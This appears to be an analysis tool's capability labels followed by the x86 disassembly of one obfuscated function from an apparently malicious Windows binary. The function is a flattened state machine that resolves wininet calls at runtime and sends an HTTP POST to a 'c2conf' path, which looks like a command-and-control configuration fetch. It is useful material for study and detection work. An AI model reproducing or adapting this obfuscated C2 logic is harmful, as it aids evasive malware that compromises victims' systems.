Function at 0x42b475
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe4
mov dword [ebp - 0x10], 0x58b17296
xor edi, edi
mov eax, dword [ebp - 0x10]
cmp eax, 0xeb16dc48
jg 0x42b51c
cmp eax, 0xb18405e6
jle 0x42b580
cmp eax, 0xd9eb7892
jg 0x42b67d
cmp eax, 0xc0ebbd81
jg 0x42b85b
cmp eax, 0xb8872f11
jle 0x42bb1a
cmp eax, 0xbf235528
jle 0x42bfb8
cmp eax, 0xbf235529
je 0x42c743
cmp eax, 0xc06a023c
je 0x42c766
cmp eax, 0xc06b863b
jne 0x42b48a
push 0x11
push str.InternetConnectA
push dword [ebp - 0x4c]
call fcn.004321d0
add esp, 0xc
push dword [ebp - 0x4c]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x10], 0x9789a628
jmp 0x42b48a
cmp eax, 0x2c1a6e7f
jle 0x42b5fc
cmp eax, 0x5b7a0fea
jg 0x42b6ec
cmp eax, 0x3dcb9910
jg 0x42b8b8
cmp eax, 0x2ebd83af
jle 0x42bb61
cmp eax, 0x35770ac4
jle 0x42c004
cmp eax, 0x35770ac5
je 0x42c788
cmp eax, 0x394c3865
je 0x42c7ab
cmp eax, 0x3b9b1057
jne 0x42b48a
mov dword [ebp - 0x10], 0xb17b708b
jmp 0x42b48a
cmp eax, 0x9ab29321
jle 0x42b775
cmp eax, 0xa9e567d6
jg 0x42b924
cmp eax, 0x9e24c50f
jle 0x42bba1
cmp eax, 0x9f275ab9
jle 0x42c029
cmp eax, 0x9f275aba
je 0x42c7e7
cmp eax, 0xa1dd2dd5
je 0x42c816
cmp eax, 0xa826659f
jne 0x42b48a
mov eax, dword [ebp - 0x18]
add eax, 0x38
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xc6d
shr eax, 9
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x58b17296
cmp ecx, edx
je 0x42d223
mov eax, 0x9c30abe1
jmp 0x42d223
cmp eax, 0x8413b87
jle 0x42b7f5
cmp eax, 0x13dbd0bf
jg 0x42b974
cmp eax, 0xb238408
jle 0x42bbef
cmp eax, 0xd37368a
jle 0x42c05d
cmp eax, 0xd37368b
je 0x42c838
cmp eax, 0x122db898
je 0x42c844
cmp eax, 0x127e0b07
jne 0x42b48a
mov eax, dword [ebp - 0x9c]
push edi
push edi
push 3
push edi
push edi
push 0x50
push dword [0x45d084]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x3c], eax
mov eax, 0xc59a99f1
cmp dword [ebp - 0x3c], edi
je 0x42d223
mov eax, 0x86cc8710
jmp 0x42d223
cmp eax, 0xe436b98f
jg 0x42b9d1
cmp eax, 0xdd598129
jle 0x42bc24
cmp eax, 0xe329f618
jle 0x42c0b4
cmp eax, 0xe329f619
je 0x42c85e
cmp eax, 0xe366d16b
je 0x42c877
cmp eax, 0xe3dc6821
jne 0x42b48a
mov eax, dword [ebp - 0x14]
add eax, 0xffffff9a
shr eax, 0xb
imul ecx, eax, 0xe10
mov dword [ebp - 0x14], ecx
mov eax, 0xe80252cd
cmp ecx, 0x90
jge 0x42d2c4
mov eax, 0xb18405e7
jmp 0x42d2c4
cmp eax, 0x6ce3e6e5
jle 0x42ba40
cmp eax, 0x6f866916
jle 0x42bc78
cmp eax, 0x7aa39554
jle 0x42c0d6
cmp eax, 0x7aa39555
je 0x42c8bf
cmp eax, 0x7c2195c4
je 0x42c8e7
cmp eax, 0x7eb53466
jne 0x42b48a
imul ebx, dword [ebp - 0x14], 0x55
add ebx, 0x8c
mov esi, ebx
shr esi, 6
add esi, 0xffffffe4
mov dword [ebp - 0x14], esi
push 0x5513
push esi
push 0x2894
call fcn.004273c5
add esp, 0xc
push esi
call fcn.0042adc5
add esp, 4
mov eax, 0x122db898
cmp ebx, 0x21c0
jae 0x42d042
jmp 0x42d2c4
cmp eax, 0x8ddcfcda
jle 0x42ba8a
cmp eax, 0x94ad1aab
jle 0x42bcd1
cmp eax, 0x96fd4df0
jle 0x42c115
cmp eax, 0x96fd4df1
je 0x42c922
cmp eax, 0x9789a628
je 0x42c946
cmp eax, 0x99e321ec
jne 0x42b48a
mov ecx, dword [ebp - 0x18]
imul eax, ecx, 0x8f
add eax, 0xffffaf29
imul eax, eax
imul edx, eax, 0x3649
dec edx
imul ecx, ecx, 0x5c2b
add ecx, 0xffcc42e2
mov dword [ebp - 0x18], ecx
mov ecx, 0xfb6fe23f
cmp edx, eax
je 0x42ceb7
mov ecx, 0x33d68cd6
jmp 0x42ceb7
cmp eax, 0xf6fc860b
jle 0x42baca
cmp eax, 0xfe145f73
jle 0x42bd35
cmp eax, 0x631d4c
jle 0x42c145
cmp eax, 0x631d4d
je 0x42c955
cmp eax, 0x31e61fe
je 0x42c973
cmp eax, 0x6894a02
jne 0x42b48a
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x10], 0x9122b6d3
jmp 0x42b48a
cmp eax, 0xcc213651
jle 0x42bd74
cmp eax, 0xd6eab7a2
jle 0x42c19a
cmp eax, 0xd6eab7a3
je 0x42c9b3
cmp eax, 0xd7524170
je 0x42c9e8
cmp eax, 0xd9df9e1c
jne 0x42b48a
imul eax, dword [ebp - 0x18], 0x38000000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x9222a819
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], 0
jmp 0x42b48a
cmp eax, 0x4942a376
jle 0x42bdd7
cmp eax, 0x4d29b57c
jle 0x42c1dd
cmp eax, 0x4d29b57d
je 0x42ca0a
cmp eax, 0x53e84076
je 0x42ca47
cmp eax, 0x58b17296
jne 0x42b48a
push eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x44], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x48], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x4c], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10], 0xfbbc6554
jmp 0x42b48a
cmp eax, 0xac6dd601
jle 0x42be13
cmp eax, 0xae80458f
jle 0x42c22d
cmp eax, 0xae804590
je 0x42ca78
cmp eax, 0xb00709c4
je 0x42ca84
cmp eax, 0xb17b708b
jne 0x42b48a
cmp dword [ebp - 0x34], 0
mov eax, 0x9c2b880e
je 0x42d223
mov eax, 0xdba2632a
jmp 0x42d223
cmp eax, 0x1f358f8a
jle 0x42be64
cmp eax, 0x2257bce7
jle 0x42c266
cmp eax, 0x2257bce8
je 0x42cabc
cmp eax, 0x2519cac0
je 0x42cad7
cmp eax, 0x26caa7e7
jne 0x42b48a
imul eax, dword [ebp - 0x18], 0xd5
shr eax, 0xb
and eax, 0xfffffff8
lea eax, [eax + eax*8]
lea eax, [eax*4 + 0xc7a]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x63c8c558
jmp 0x42b48a
cmp eax, 0xe80252cc
jle 0x42bec3
cmp eax, 0xe8b7b599
jle 0x42c2af
cmp eax, 0xe8b7b59a
je 0x42cb03
cmp eax, 0xe9727de4
je 0x42cb12
cmp eax, 0xea012b21
jne 0x42b48a
imul eax, dword [ebp - 0x14], 0x1fc0
add eax, 0xffffdf80
and eax, 0xffffff80
imul esi, eax, 0x98
mov dword [ebp - 0x14], esi
call fcn.0042b475
mov eax, 0x6e733148
cmp esi, 0x88
jl 0x42d2c4
mov eax, 0x1f358f8b
jmp 0x42d2c4
cmp eax, 0x66225c0e
jg 0x42bf13
cmp eax, 0x63cfe85e
jg 0x42c2ea
cmp eax, 0x605cd431
je 0x42cb48
cmp eax, 0x63c8c558
jne 0x42d303
push dword [ebp - 0x50]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10], 0x7c2195c4
jmp 0x42b48a
cmp eax, 0x8714f1a8
jg 0x42bf5e
cmp eax, 0x85b71a64
jg 0x42c30c
cmp eax, 0x814be77c
je 0x42cb88
cmp eax, 0x821cd7c9
jne 0x42b48a
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x24]
call eax
mov dword [ebp - 0x10], 0x862f703
jmp 0x42b48a
cmp eax, 0xed668ddb
jg 0x42bf8b
cmp eax, 0xeb9c3100
jg 0x42c32e
cmp eax, 0xeb16dc49
je 0x42cb9d
cmp eax, 0xeb8bec08
jne 0x42b48a
mov ecx, dword [ebp - 0x14]
mov eax, ecx
shr eax, 0x17
add eax, 0xd
mov dword [ebp - 0x14], eax
mov eax, 0x631d4d
cmp ecx, 0x27800000
jb 0x42c46e
jmp 0x42d2c4
cmp eax, 0xb41f6c5d
jg 0x42c389
cmp eax, 0xb18405e7
je 0x42cbc6
cmp eax, 0xb39e4f86
jne 0x42b48a
imul ecx, dword [ebp - 0x14], 0x627
add ecx, 0x92
mov dword [ebp - 0x14], ecx
mov eax, 0x58b17296
cmp ecx, 0xb0
jge 0x42cf5e
jmp 0x42d2c4
cmp eax, 0x2d186169
jg 0x42c3cd
cmp eax, 0x2c1a6e80
je 0x42cc06
cmp eax, 0x2c98e73f
jne 0x42b48a
imul eax, dword [ebp - 0x14], 0x463c
mov dword [ebp - 0x14], eax
push eax
call fcn.0042adc5
add esp, 4
mov dword [ebp - 0x10], 0xc7b20215
jmp 0x42b48a
cmp eax, 0x9c30abe0
jg 0x42c3fb
cmp eax, 0x9ab29322
je 0x42cc45
cmp eax, 0x9c2b880e
jne 0x42b48a
imul eax, dword [ebp - 0x18], 0x5ab3
add eax, 0xfff8349e
mov dword [ebp - 0x18], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xa0d
dec edx
mov eax, 0x4b0e8782
cmp ecx, edx
jne 0x42ce21
jmp 0x42ce26
cmp eax, 0x9c31d7a
jg 0x42c43d
cmp eax, 0x8413b88
je 0x42cc51
cmp eax, 0x862f703
jne 0x42b48a
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x10], 0x8ddcfcdb
jmp 0x42b48a
cmp eax, 0xdb739a65
jg 0x42c478
cmp eax, 0xd9eb7893
je 0x42cc6c
cmp eax, 0xda17df38
jne 0x42b48a
push 0x11
push str.HttpSendRequestA
push dword [ebp - 0x58]
call fcn.004321d0
add esp, 0xc
push dword [ebp - 0x58]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x10], 0x9f275aba
jmp 0x42b48a
cmp eax, 0x6e9458e7
jg 0x42c4c6
cmp eax, 0x6ce3e6e6
je 0x42cc81
cmp eax, 0x6e733148
jne 0x42b48a
push dword [ebp - 0x2c]
call fcn.0043cc10
add esp, 4
mov ecx, dword [ebp - 0xa4]
push eax
push dword [ebp - 0x2c]
push 0x2f
push str.Content_Type:_application_x_www_form_urlencoded
push dword [ebp - 0x24]
call ecx
mov ecx, 0xbe6bc66e
test eax, eax
je 0x42ceb7
mov ecx, 0xb238409
jmp 0x42ceb7
cmp eax, 0x9122b6d2
jg 0x42c510
cmp eax, 0x8ddcfcdb
je 0x42cca2
cmp eax, 0x90ec0ee4
jne 0x42b48a
mov ebx, dword [ebp - 0x14]
shl ebx, 0xe
or ebx, 0x13e0
mov dword [ebp - 0x14], ebx
push ebx
push 0x4fa1
call fcn.0042aa50
add esp, 8
push ebx
push 0x4890
call fcn.0042aa50
add esp, 8
mov eax, 0xeb16dc49
cmp ebx, 0x6e
jge 0x42d2c4
mov eax, 0x7eb53466
jmp 0x42d2c4
cmp eax, 0xfbbc6553
jg 0x42c541
cmp eax, 0xf6fc860c
je 0x42ccc0
cmp eax, 0xfb6fe23f
jne 0x42b48a
push eax
sub esp, 0x3fc
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], 0xe80252cd
jmp 0x42b48a
cmp eax, 0xc6c8a617
jg 0x42c578
cmp eax, 0xc0ebbd82
je 0x42ccea
cmp eax, 0xc59a99f1
jne 0x42b48a
mov eax, dword [ebp - 0x18]
shr eax, 4
mov ecx, eax
shl ecx, 4
sub ecx, eax
sub ecx, eax
imul eax, eax
add ecx, 0xef
imul edx, eax, 0x4de5
shr ecx, 8
dec edx
imul ecx, ecx, 0x8c
mov dword [ebp - 0x18], ecx
mov ecx, 0xb00709c4
cmp eax, edx
je 0x42c91a
mov ecx, 0x9c31d7b
jmp 0x42c91a
cmp eax, 0x417299d8
jg 0x42c5ab
cmp eax, 0x3dcb9911
je 0x42cd0d
cmp eax, 0x3ff1dfbe
jne 0x42b48a
imul eax, dword [ebp - 0x14], 0x3fec640
add eax, 0xffac38bb
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x2519cac0
jmp 0x42b48a
cmp eax, 0xab0327a5
jg 0x42c5cd
cmp eax, 0xa9e567d7
je 0x42cd27
cmp eax, 0xaac7f6f3
jne 0x42b48a
mov ecx, dword [ebp - 0x18]
shr ecx, 7
imul eax, ecx, 0x44e80
imul ecx, ecx
imul edx, ecx, 0x33e7
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x76935cfa
cmp ecx, edx
je 0x42d2c4
mov eax, 0xf36d809a
jmp 0x42d2c4
cmp eax, 0x16255cd8
jg 0x42c5e8
cmp eax, 0x13dbd0c0
je 0x42cd60
cmp eax, 0x146cfa14
jne 0x42b48a
mov eax, dword [ebp - 0x14]
mov ecx, 0x1fffffc1
add eax, ecx
shr eax, 0xd
movzx esi, ax
mov dword [ebp - 0x14], esi
call fcn.0042b475
push 0x50ee
push esi
push 0x733
call fcn.004273c5
add esp, 0xc
mov eax, 0x96cf06af
cmp esi, 0x57
jb 0x42cf5e
jmp 0x42d2c4
cmp eax, 0xe6630ad0
jg 0x42c649
cmp eax, 0xe436b990
je 0x42cd94
cmp eax, 0xe4778b62
jne 0x42b48a
mov esi, dword [ebp - 0x14]
and esi, 0xffffffe0
shl esi, 9
or esi, 0x1900
mov dword [ebp - 0x14], esi
call fcn.0040560b
mov eax, 0xeb8bec08
cmp esi, 0x52
jl 0x42d2c4
mov eax, 0x6e9458e8
jmp 0x42d2c4
cmp eax, 0x69f9c6fb
jg 0x42c67b
cmp eax, 0x66225c0f
je 0x42cdaf
cmp eax, 0x6660e7fe
jne 0x42b48a
mov eax, dword [ebp - 0x14]
add eax, 4
shr eax, 1
and eax, 0x7fffe000
mov ebx, 0x9c30abe1
add eax, 0xffe48000
mov dword [ebp - 0x14], eax
je 0x42c220
mov ebx, 0xc7b20215
jmp 0x42c220
cmp eax, 0x89f43f25
jg 0x42c6af
cmp eax, 0x8714f1a9
je 0x42cdd6
cmp eax, 0x893fb0ce
jne 0x42b48a
mov dword [ebp - 0x10], 0x1f682d1b
jmp 0x42b48a
cmp eax, 0xf36d8099
jg 0x42c6df
cmp eax, 0xed668ddc
je 0x42cdfa
cmp eax, 0xf27dac30
jne 0x42b48a
mov dword [ebp - 0x10], 0xfce2ca80
jmp 0x42b48a
cmp eax, 0xb8872f12
je 0x42ce35
cmp eax, 0xbe6bc66e
jne 0x42b48a
mov eax, dword [ebp - 0x18]
shr eax, 9
imul ecx, eax, 0xc7
imul ecx, ecx
imul eax, eax, 0x6e62
imul edx, ecx, 0x2f71
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x9c30abe1
cmp edx, ecx
je 0x42d2c4
mov eax, 0x46f94794
jmp 0x42d2c4
cmp eax, 0x2ebd83b0
je 0x42ce54
cmp eax, 0x33d68cd6
jne 0x42b48a
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0xae804590
jmp 0x42b48a
cmp eax, 0x9e24c510
je 0x42ce6b
cmp eax, 0x9ea80e48
jne 0x42b48a
push 0x18
push str.wininet.dll
push dword [ebp - 0x44]
call fcn.004321d0
add esp, 0xc
mov dword [ebp - 0x10], 0xa826659f
jmp 0x42b48a
cmp eax, 0xb238409
je 0x42ce8b
cmp eax, 0xcf56726
jne 0x42b48a
mov eax, dword [ebp - 0x18]
mov ecx, 0xffffff58
add eax, ecx
mov ecx, eax
shl ecx, 0xe
imul eax, eax
imul edx, eax, 0x40cf
dec edx
add ecx, 0xffffff50
mov dword [ebp - 0x18], ecx
mov ecx, 0xb41f6c5e
cmp eax, edx
je 0x42c0a3
mov ecx, 0x814be77c
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x6c], eax
jmp 0x42b48a
cmp eax, 0xdd59812a
je 0x42cebf
cmp eax, 0xdfc8e412
jne 0x42b48a
mov dword [ebp - 0x10], 0x2c1a6e80
jmp 0x42b48a
cmp eax, 0x6f866917
je 0x42ced9
cmp eax, 0x76935cfa
jne 0x42b48a
mov eax, dword [ebp - 0xa0]
push edi
push edi
push edi
push edi
push edi
push str.c2conf
push str.POST
push dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0xdd59812a
jmp 0x42b48a
cmp eax, 0x94ad1aac
je 0x42cef5
cmp eax, 0x96cf06af
jne 0x42b48a
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
add eax, 0xfffffcb1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x58b17296
jmp 0x42b48a
cmp eax, 0xfe145f74
je 0x42cf27
cmp eax, 0x2c34c8
jne 0x42b48a
mov ebx, dword [ebp - 0x14]
mov eax, 0xffffff39
add ebx, eax
mov dword [ebp - 0x14], ebx
push 0x61e9
push ebx
call fcn.0042aa50
add esp, 8
push ebx
push 0xafd
call fcn.0042aa50
add esp, 8
mov eax, 0x6ce3e6e6
cmp ebx, 0xd1
jae 0x42c46e
jmp 0x42d2c4
cmp eax, 0xcc213652
je 0x42cf33
cmp eax, 0xcc430d99
jne 0x42b48a
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
call eax
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
push dword [ebp - 0x68]
call fcn.0042adc5
add esp, 4
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x10], 0x3dcb9911
jmp 0x42b48a
cmp eax, 0x4942a377
je 0x42cf68
cmp eax, 0x4b0e8782
jne 0x42b48a
mov eax, dword [ebp - 0x14]
shl eax, 4
add eax, 0xffff6c0
shr eax, 9
imul eax, eax, 0x34000
mov ebx, 0xc7b20215
add eax, 0x68000
mov dword [ebp - 0x14], eax
je 0x42c21b
mov ebx, 0xeb9c3101
call fcn.0042b475
call fcn.0042b475
mov dword [ebp - 0x10], ebx
jmp 0x42b48a
cmp eax, 0xac6dd602
je 0x42cf92
cmp eax, 0xae124799
jne 0x42b48a
mov ecx, dword [ebp - 0x14]
mov eax, 0xffffff46
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0xbf235529
cmp ecx, 0xee
jl 0x42cab2
jmp 0x42d2c4
cmp eax, 0x1f358f8b
je 0x42cfb8
cmp eax, 0x1f682d1b
jne 0x42b48a
push 0x11
push str.HttpOpenRequestW
push dword [ebp - 0x54]
call fcn.004321d0
add esp, 0xc
push dword [ebp - 0x54]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x10], 0xda17df38
jmp 0x42b48a
cmp eax, 0xe80252cd
je 0x42cffd
cmp eax, 0xe81c0830
jne 0x42b48a
mov ecx, dword [ebp - 0x14]
mov eax, 0xffffff65
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0x58b17296
cmp ecx, 0x79
jl 0x42d2c4
mov eax, 0x2c34c8
jmp 0x42d2c4
cmp eax, 0x63cfe85f
je 0x42d00f
cmp eax, 0x649a9a1c
jne 0x42b48a
mov dword [ebp - 0x10], 0x8714f1a9
jmp 0x42b48a
cmp eax, 0x85b71a65
je 0x42d04c
cmp eax, 0x86cc8710
jne 0x42b48a
mov dword [ebp - 0x10], 0x16255cd9
jmp 0x42b48a
cmp eax, 0xeb9c3101
je 0x42d07c
cmp eax, 0xecff1d33
jne 0x42b48a
mov ebx, dword [ebp - 0x14]
add ebx, 0xffffffba
mov dword [ebp - 0x14], ebx
push ebx
push 0x5cef
call fcn.0042aa50
add esp, 8
push 0x1597
push 0x625d
push ebx
call fcn.004273c5
add esp, 0xc
mov eax, 0x76935cfa
cmp ebx, 0xaf
jb 0x42d2c4
mov eax, 0x6ce3e6e6
jmp 0x42d2c4
cmp eax, 0xb41f6c5e
je 0x42d0de
cmp eax, 0xb63fbc20
jne 0x42b48a
mov esi, dword [ebp - 0x14]
shl esi, 0x1f
mov dword [ebp - 0x14], esi
push esi
push 0x392
call fcn.0042aa50
add esp, 8
mov eax, 0x35770ac5
test esi, esi
je 0x42d2c4
mov eax, 0x631d4d
jmp 0x42d2c4
cmp eax, 0x2d18616a
je 0x42d106
cmp eax, 0x2dbd4a02
jne 0x42b48a
mov eax, dword [ebp - 0x18]
shl eax, 0xd
add eax, 0xffffff99
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xfe145f74
jmp 0x42b48a
cmp eax, 0x9c30abe1
je 0x42d138
cmp eax, 0x9c7139e8
jne 0x42b48a
mov ebx, dword [ebp - 0x14]
shl ebx, 0xa
add ebx, 0x7958
mov dword [ebp - 0x14], ebx
call fcn.0040560b
call fcn.0040560b
mov eax, 0x1f682d1b
cmp ebx, 0x68
jl 0x42d042
jmp 0x42d2c4
cmp eax, 0x9c31d7b
je 0x42d155
cmp eax, 0xa542cb0
jne 0x42b48a
imul ecx, dword [ebp - 0x14], 0x5a
shr ecx, 0xa
mov dword [ebp - 0x14], ecx
mov eax, 0xfb6fe23f
cmp ecx, 0xfe
je 0x42d2c4
mov eax, 0x417299d9
jmp 0x42d2c4
cmp eax, 0xdb739a66
je 0x42d170
cmp eax, 0xdba2632a
jne 0x42b48a
mov eax, dword [ebp - 0x18]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
imul ecx, ecx
imul edx, ecx, 0x6121
imul eax, eax, 0x1900
dec edx
add eax, 0xffffff6f
mov dword [ebp - 0x18], eax
mov eax, 0x3ff1dfbe
cmp edx, ecx
je 0x42d223
mov eax, 0x127e0b07
jmp 0x42d223
cmp eax, 0x6e9458e8
je 0x42d190
cmp eax, 0x6eb7fe3a
jne 0x42b48a
mov ebx, dword [ebp - 0x14]
add ebx, 0x49
mov dword [ebp - 0x14], ebx
call fcn.0040560b
push ebx
push 0x1d37
call fcn.0042aa50
add esp, 8
mov eax, 0x58b17296
cmp ebx, 0xb
jl 0x42d2c4
mov eax, 0x146cfa14
jmp 0x42d2c4
cmp eax, 0x9122b6d3
je 0x42d1c6
cmp eax, 0x9222a819
jne 0x42b48a
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10], 0x2257bce8
jmp 0x42b48a
cmp eax, 0xfbbc6554
je 0x42d1f3
cmp eax, 0xfce2ca80
jne 0x42b48a
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x64]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x10], 0x649a9a1c
jmp 0x42b48a
cmp eax, 0xc6c8a618
je 0x42d22b
cmp eax, 0xc7b20215
jne 0x42b48a
push eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x58], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x10], 0xb8872f12
jmp 0x42b48a
cmp eax, 0x417299d9
je 0x42d248
cmp eax, 0x46f94794
jne 0x42b48a
mov dword [ebp - 0x10], 0x821cd7c9
jmp 0x42b48a
cmp eax, 0xab0327a6
je 0x42d271
cmp eax, 0xac52016a
je 0x42cd01
jmp 0x42b48a
cmp eax, 0x16255cd9
je 0x42d29a
cmp eax, 0x1dafb0ef
jne 0x42b48a
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, 0x6894a02
test eax, eax
jne 0x42c617
mov ecx, 0x9222a819
test edx, edx
jne 0x42c620
mov ecx, 0x9222a819
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x60]
mov ebx, dword [ebp - 0x8c]
mov esi, dword [ebp - 0x8c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ebx
jmp 0x42b48a
cmp eax, 0xe6630ad1
je 0x42d2a6
cmp eax, 0xe6e18005
jne 0x42b48a
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
call eax
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0xed668ddc
jmp 0x42b48a
cmp eax, 0x69f9c6fc
je 0x42d2cc
cmp eax, 0x6aab3237
jne 0x42b48a
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x64]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], 0xdb739a66
jmp 0x42b48a
cmp eax, 0x89f43f26
je 0x42d2d8
cmp eax, 0x8cbbdfe8
jne 0x42b48a
mov eax, dword [ebp - 0x18]
shl eax, 9
or eax, 0xd4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x9ab29322
jmp 0x42b48a
cmp eax, 0xf36d809a
je 0x42d2f7
cmp eax, 0xf6bcdf3c
jne 0x42b48a
mov eax, dword [ebp - 0x14]
lea ebx, [eax + eax*8]
shl ebx, 0xd
add ebx, 0xffffc9c0
mov dword [ebp - 0x14], ebx
push ebx
push 0x25ca
call fcn.0042aa50
add esp, 8
push ebx
push 0x21bd
push 0x35cf
call fcn.004273c5
add esp, 0xc
mov eax, 0xf6fc860c
cmp ebx, 0x8a
jge 0x42d2c4
mov eax, 0x63c8c558
jmp 0x42d2c4
mov eax, dword [ebp - 0x14]
mov ecx, 0xfffc0000
and eax, ecx
or eax, 0x94
mov dword [ebp - 0x14], eax
call fcn.0042b475
mov dword [ebp - 0x10], 0x58b17296
jmp 0x42b48a
imul ecx, dword [ebp - 0x14], 0x46
mov eax, ecx
shr eax, 9
mov dword [ebp - 0x14], eax
mov eax, 0xc0ebbd82
cmp ecx, 0x15c00
jae 0x42d042
jmp 0x42d2c4
imul ecx, dword [ebp - 0x14], 0x1480000
add ecx, 0xc4480000
mov dword [ebp - 0x14], ecx
mov eax, 0x58b17296
cmp ecx, 0x28
jge 0x42caf9
jmp 0x42d2c4
imul ebx, dword [ebp - 0x14], 0x8382
shr ebx, 6
and ebx, 0xfffffffe
add ebx, 0x7c
mov dword [ebp - 0x14], ebx
push ebx
call fcn.0042adc5
add esp, 4
call fcn.0042b475
mov eax, 0x4d29b57d
cmp ebx, 0xf8
je 0x42d2c4
mov eax, 0x53e84076
jmp 0x42d2c4
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 1]
imul ecx, ecx
imul edx, ecx, 0x59e3
add eax, 0xffffff23
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0xa542cb0
cmp edx, ecx
je 0x42d223
mov eax, 0x69f9c6fc
jmp 0x42d223
mov eax, dword [ebp - 0x18]
shl eax, 6
add eax, 0xfffff3bd
shr eax, 0xc
add eax, 0xffffff0c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xdfc8e412
jmp 0x42b48a
mov dword [ebp - 0x10], 0x89f43f26
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
shl eax, 0xa
add eax, 0x388b4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x9ea80e48
jmp 0x42b48a
cmp dword [ebp - 0x24], 0
mov eax, 0x94ad1aac
je 0x42d223
mov eax, 0x99e321ec
jmp 0x42d223
mov ebx, dword [ebp - 0x14]
shr ebx, 4
and ebx, 0xffffc00
add ebx, 0xffff1c00
mov eax, ebx
shr eax, 0xb
mov dword [ebp - 0x14], eax
push 0xecd
push 0x2247
push eax
call fcn.004273c5
add esp, 0xc
mov eax, 0x9c30abe1
cmp ebx, 0x5a800
jae 0x42d2c4
mov eax, 0xe9727de4
jmp 0x42d2c4
imul ecx, dword [ebp - 0x14], 0xcc
add ecx, 0x4e18
mov dword [ebp - 0x14], ecx
mov eax, 0x58b17296
cmp ecx, 0x70
jb 0x42d2c4
mov eax, 0x4942a377
jmp 0x42d2c4
mov ecx, dword [ebp - 0x18]
lea eax, [ecx - 0xc6]
add ecx, 0xfffffed4
imul eax, eax
imul edx, eax, 0x57ad
shr ecx, 9
dec edx
add ecx, 0xbc
mov dword [ebp - 0x18], ecx
mov ecx, 0xe4778b62
cmp edx, eax
je 0x42c91a
mov ecx, 0x893fb0ce
mov dword [ebp - 0x10], ecx
jmp 0x42b48a
mov ecx, dword [ebp - 0x14]
add ecx, 0x79
mov eax, ecx
shr eax, 0xe
mov dword [ebp - 0x14], eax
mov eax, 0x605cd431
cmp ecx, 0x384000
jae 0x42d2bf
jmp 0x42d2c4
mov eax, dword [ebp - 0x50]
